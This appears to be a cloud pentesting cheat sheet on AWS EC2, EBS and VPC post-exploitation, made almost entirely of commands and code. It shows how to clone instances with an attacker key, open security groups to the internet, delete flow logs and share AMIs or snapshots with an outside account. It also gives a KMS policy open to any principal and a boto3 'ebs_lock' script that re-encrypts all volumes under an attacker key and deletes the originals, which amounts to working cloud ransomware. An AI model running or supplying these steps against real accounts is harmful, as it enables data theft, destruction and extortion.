AWS - EC2, EBS, SSM & VPC Post Exploitation

# List instances
aws ec2 describe-images

# create a new image for the instance-id
aws ec2 create-image --instance-id i-0438b003d81cd7ec5 --name "AWS Audit" --description "Export AMI" --region eu-west-1

# add key to AWS
aws ec2 import-key-pair --key-name "AWS Audit" --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1

# create ec2 using the previously created AMI, use the same security group and subnet to connect easily.
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids "sg-6d0d7f01" --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name "AWS Audit" --query "Instances[0].InstanceId" --region eu-west-1

# now you can check the instance
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1

# If needed : edit groups
aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "sg-6d0d7f01"  --region eu-west-1

# be a good guy, clean our instance to avoid any useless cost
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1

aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC

aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>

aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

aws ec2 modify-snapshot-attribute --snapshot-id <snapshot_ID> --create-volume-permission "Add=[{UserId=<recipient_account_ID>}]" --region <AWS_region>

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Outside Encryption",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey",
"kms:GenerateDataKeyWithoutPlainText",
"kms:CreateGrant"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow access for Key Administrators",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Create*",
"kms:Describe*",
"kms:Enable*",
"kms:List*",
"kms:Put*",
"kms:Update*",
"kms:Revoke*",
"kms:Disable*",
"kms:Get*",
"kms:Delete*",
"kms:TagResource",
"kms:UntagResource",
"kms:ScheduleKeyDeletion",
"kms:CancelKeyDeletion"
],
"Resource": "*"
},
{
"Sid": "Allow use of the key",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*"
},
{
"Sid": "Allow attachment of persistent resources",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim"
},
"Action": [
"kms:CreateGrant",
"kms:ListGrants",
"kms:RevokeGrant"
],
"Resource": "*",
"Condition": {
"Bool": {
"kms:GrantIsForAWSResource": "true"
}
}
}
]
}

import boto3
import argparse
from botocore.exceptions import ClientError

def enumerate_ec2_instances(ec2_client):
instances = ec2_client.describe_instances()
instance_volumes = {}
for reservation in instances['Reservations']:
for instance in reservation['Instances']:
instance_id = instance['InstanceId']
volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol]
instance_volumes[instance_id] = volumes
return instance_volumes

def snapshot_volumes(ec2_client, volumes):
snapshot_ids = []
for volume_id in volumes:
snapshot = ec2_client.create_snapshot(VolumeId=volume_id)
snapshot_ids.append(snapshot['SnapshotId'])
return snapshot_ids

def wait_for_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id])

def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn):
new_volume_ids = []
for snapshot_id in snapshot_ids:
snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0]
volume_id = snapshot_info['VolumeId']
volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0]
availability_zone = volume_info['AvailabilityZone']

volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone,
Encrypted=True, KmsKeyId=kms_key_arn)
new_volume_ids.append(volume['VolumeId'])
return new_volume_ids

def stop_instances(ec2_client, instance_ids):
for instance_id in instance_ids:
try:
instance_description = ec2_client.describe_instances(InstanceIds=[instance_id])
instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name']

if instance_state == 'running':
ec2_client.stop_instances(InstanceIds=[instance_id])
print(f"Stopping instance: {instance_id}")
ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id])
print(f"Instance {instance_id} stopped.")
else:
print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).")

except ClientError as e:
print(f"Error stopping instance {instance_id}: {e}")

def detach_and_delete_volumes(ec2_client, volumes):
for volume_id in volumes:
try:
ec2_client.detach_volume(VolumeId=volume_id)
ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id])
ec2_client.delete_volume(VolumeId=volume_id)
print(f"Deleted volume: {volume_id}")
except ClientError as e:
print(f"Error detaching or deleting volume {volume_id}: {e}")


def delete_snapshots(ec2_client, snapshot_ids):
for snapshot_id in snapshot_ids:
try:
ec2_client.delete_snapshot(SnapshotId=snapshot_id)
print(f"Deleted snapshot: {snapshot_id}")
except ClientError as e:
print(f"Error deleting snapshot {snapshot_id}: {e}")

def replace_volumes(ec2_client, instance_volumes):
instance_ids = list(instance_volumes.keys())
stop_instances(ec2_client, instance_ids)

all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
detach_and_delete_volumes(ec2_client, all_volumes)

def ebs_lock(access_key, secret_key, region, kms_key_arn):
ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn)  # New encrypted volumes are created but not attached
replace_volumes(ec2_client, instance_volumes)  # Stops instances, detaches and deletes old volumes
delete_snapshots(ec2_client, snapshot_ids)  # Optionally delete snapshots if no longer needed

def parse_arguments():
parser = argparse.ArgumentParser(description='EBS Volume Encryption and Replacement Tool')
parser.add_argument('--access-key', required=True, help='AWS Access Key ID')
parser.add_argument('--secret-key', required=True, help='AWS Secret Access Key')
parser.add_argument('--region', required=True, help='AWS Region')
parser.add_argument('--kms-key-arn', required=True, help='KMS Key ARN for EBS volume encryption')
return parser.parse_args()

def main():
args = parse_arguments()
ec2_client = boto3.client('ec2', aws_access_key_id=args.access_key, aws_secret_access_key=args.secret_key, region_name=args.region)

instance_volumes = enumerate_ec2_instances(ec2_client)
all_volumes = [vol for vols in instance_volumes.values() for vol in vols]
snapshot_ids = snapshot_volumes(ec2_client, all_volumes)
wait_for_snapshots(ec2_client, snapshot_ids)
create_encrypted_volumes(ec2_client, snapshot_ids, args.kms_key_arn)
replace_volumes(ec2_client, instance_volumes)
delete_snapshots(ec2_client, snapshot_ids)

if __name__ == "__main__":
main()